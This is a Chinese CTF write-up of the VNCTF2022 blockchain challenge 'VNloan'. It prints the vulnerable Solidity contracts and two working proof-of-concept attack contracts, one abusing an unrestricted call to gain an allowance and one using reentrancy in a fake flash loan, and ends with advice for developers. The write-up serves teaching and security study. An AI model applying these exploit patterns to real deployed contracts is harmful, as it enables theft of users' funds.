VNCTF2022公开赛 Blockchain-VNloan

bcYng 2022-02-23 10:39:00

0x00 背景

基于 Uniswap V3 的 DeFi 流动性协议Visor Finance遭受黑客攻击,黑客利用重入漏洞耗尽了880万枚VISR代币,当时,VISR的交易价格约为0.93美元,总损失约为820万美元。

因为call调用产生的漏洞还是比较多的,比如重入漏洞,atn代币增发事件等。

0x01 VNloan

题目链接:https://buuoj.cn/match/matches/81/challenges

解出密码获得题目合约

image-20220213222906759.png

Setup.sol

pragma solidity 0.4.26;
import "./VNETH.sol";
contract Setup{
    VNETH public vneth;
    bool public Solved=false;
    constructor()public payable{
        vneth=new VNETH();
    }
    function checksuccess()public{
        if(vneth.balanceOf(msg.sender)>=5000)
        Solved=true;
    }
    function isSolved()public view returns(bool){
        if(Solved==true){
            return true;
        }
        return false;
    }
}

VNETH.sol

pragma solidity 0.4.26;

contract VNETH {
    address public owner;
    string public name     = "VN ETHER";
    string public symbol   = "VNeth";
    uint8  public decimals = 18;
    bool  public isLoan=false;
    event  Approval(address indexed src, address indexed guy, uint wad);
    event  Transfer(address indexed src, address indexed dst, uint wad);
    event  Deposit(address indexed dst, uint wad);
    event  Withdrawal(address indexed src, uint wad);

    mapping (address => uint)                       public  balanceOf;
    mapping (address => mapping (address => uint))  public  allowance;
    constructor()public{
        owner=msg.sender;
        balanceOf[owner]=1e18 ether;
        balanceOf[address(this)]=1e18 ether;
    }
    function() external payable {
        deposit();
    }
    function deposit() public payable {
        balanceOf[msg.sender] += msg.value;
        emit Deposit(msg.sender, msg.value);
    }
    function withdraw(uint wad) public {
        require(balanceOf[msg.sender] >= wad);
        balanceOf[msg.sender] -= wad;
        (msg.sender).transfer(wad);
        emit Withdrawal(msg.sender, wad);
    }

    function totalSupply() public view returns (uint) {
        return address(this).balance;
    }

    function approve(address guy, uint wad) public returns (bool) {
        allowance[msg.sender][guy] = wad;
        emit Approval(msg.sender, guy, wad);
        return true;
    }

    function transfer(address dst, uint wad) public returns (bool) {
        return transferFrom(msg.sender, dst, wad);
    }

    function fakeflashloan(uint256 value,address target,bytes memory data) public{
        require(isLoan==false&&value>=0&&value<=1000);
        balanceOf[address(this)]-=value;
        balanceOf[target]+=value;

        address(target).call(data);

        isLoan=true;
        require(balanceOf[target]>=value);
        balanceOf[address(this)]+=value;
        balanceOf[target]-=value;
        isLoan=false;
    }

    function transferFrom(address src, address dst, uint wad)
        public
        returns (bool)
    {
        require(balanceOf[src] >= wad);

        if (src != msg.sender && allowance[src][msg.sender] != 2**256-1) {
            require(allowance[src][msg.sender] >= wad);
            allowance[src][msg.sender] -= wad;
        }

        balanceOf[src] -= wad;
        balanceOf[dst] += wad;

        emit Transfer(src, dst, wad);

        return true;
    }
}

0x03 分析漏洞

解法一 call调用

首先分析setup代码,我们可以看到需要满足调用者的余额大于等于5000,确定下来方向然后主要看VNETH合约。

我们可以看到在合约构造过程中,合约owner以及合约本身有1^18^*1^18^的余额,所以要是我们的攻击合约余额达到5000,可以从owner或合约中转账过来。

而从合约中想指定账户转账需要提前授权相应数量的代币。

image-20220213224702548.png

所以在msg.sender是漏洞合约的前提下控制guy为攻击合约,即可为攻击合约获得权限

image-20220213224045810.png

注意到,在该函数中,可以在target的环境下调用data,而target以及data都是可控的,所以漏洞是出现在call调用处。

所以我们可以构造data(包括function selctor以及对应参数),data可以通过调用approve函数获得。

再对fakeflashloan函数进行调用,传入data即可调用漏洞合约下的approve函数,此时msg.sender将是漏洞合约本身,攻击合约将会获得来自漏洞合约的指定数量的代币授权。

授权之后只需要调用transferfrom函数,将对应数量的代币转账到攻击合约中,即可满足解题条件。

poc如下

contract attack{
    VNETH target = VNETH(0xe67f9c7880049BD323cc73D13Bed19c16dfC27F5);
    Setup target1=Setup(0xb27A31f1b0AF2946B7F582768f03239b1eC07c2c);
    function approve(address guy, uint wad)public{
        target.approve(guy,wad);
    }
    function getallowance(uint256 value,address t,bytes memory data)public{
        target.fakeflashloan(value,t,data);
    }
    function getmoney(address src, address dst, uint wad)public{
        target.transferFrom(src,dst,wad);
    }
    function success() public{
        target1.checksuccess();
    }
}

按照分析过程调用对应函数并传入相应的参数即可。

image-20220213225641076.png

解法二 重入

image-20220213232224910.png

image-20220214094904990.png

分析合约代码可以发现该处存在重入漏洞,而在fakeflashloan函数中data可控,并且对于isLoan变量的修改放在call之后,可以造成重入。

所以在攻击合约中调用一次fakeflashloan函数,随便输入一个data(bytes4类型,做selector)即可触发重入,攻击合约中的fallback函数内容为调用4次fakeflashloan函数(value是1000的情况下),此时总共调用了五次,余额达到要求。

但是值得注意的是,调用setup合约中的checksuccess函数时,要由攻击合约中的fallback函数判断达到条件后进行调用,具体原因放在poc之后

poc如下

contract attack{
    VNETH target = VNETH(0x4b0d7A551c9371AEfC004Ae1a9F184aCD39B89C6);
    Setup target1=Setup(0x9d83e140330758a8fFD07F8Bd73e86ebcA8a5692);
    bytes data = '0xabcdabcd';
    uint i;
    function reen()payable public{
        target.fakeflashloan(1000,address(this),data);
    }
    function() external payable{
      while(i<4){
         i++;
         target.fakeflashloan(1000,address(this),data);
     }
    if(i==4){
         target1.checksuccess();
        }
    }
}

因为在进行call调用时,是一次call中嵌套着另一次call,总共五次。而在最后一次出发攻击合约中的fallback函数时已经不满足i<4的条件。

call调用的特点是只返回true或false不会抛出异常,所以他会执行后续代码,也就是相机执行完五次嵌套中的后续代码,攻击合约中的余额将被归零,所以要按照poc中的方法进行攻击即可。

image-20220214101913103.png

0x04 总结

call函数灵活性极高,合约在开发过程中,使用了危险的函数,并且使用不安全的交互模式,正是由于这种灵活性极高的函数的滥用造成了各种漏洞。

在此给开发者提出以下建议:

  1. 在合约开发过程中一定要谨慎的使用此类函数
  2. 并且在使用的过程中,对调用的合约地址,可调用的函数进行严格限制
  3. 智能合约在部署前必须经过严格的审计以及测试。

评论

NanHu 2022-02-28 19:26:17

666666666666666666666666

S

scw 2022-03-05 17:42:05

66666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666

bcYng

随机分类

数据安全 文章:29 篇
前端安全 文章:29 篇
数据分析与机器学习 文章:12 篇
事件分析 文章:223 篇
memcache安全 文章:1 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录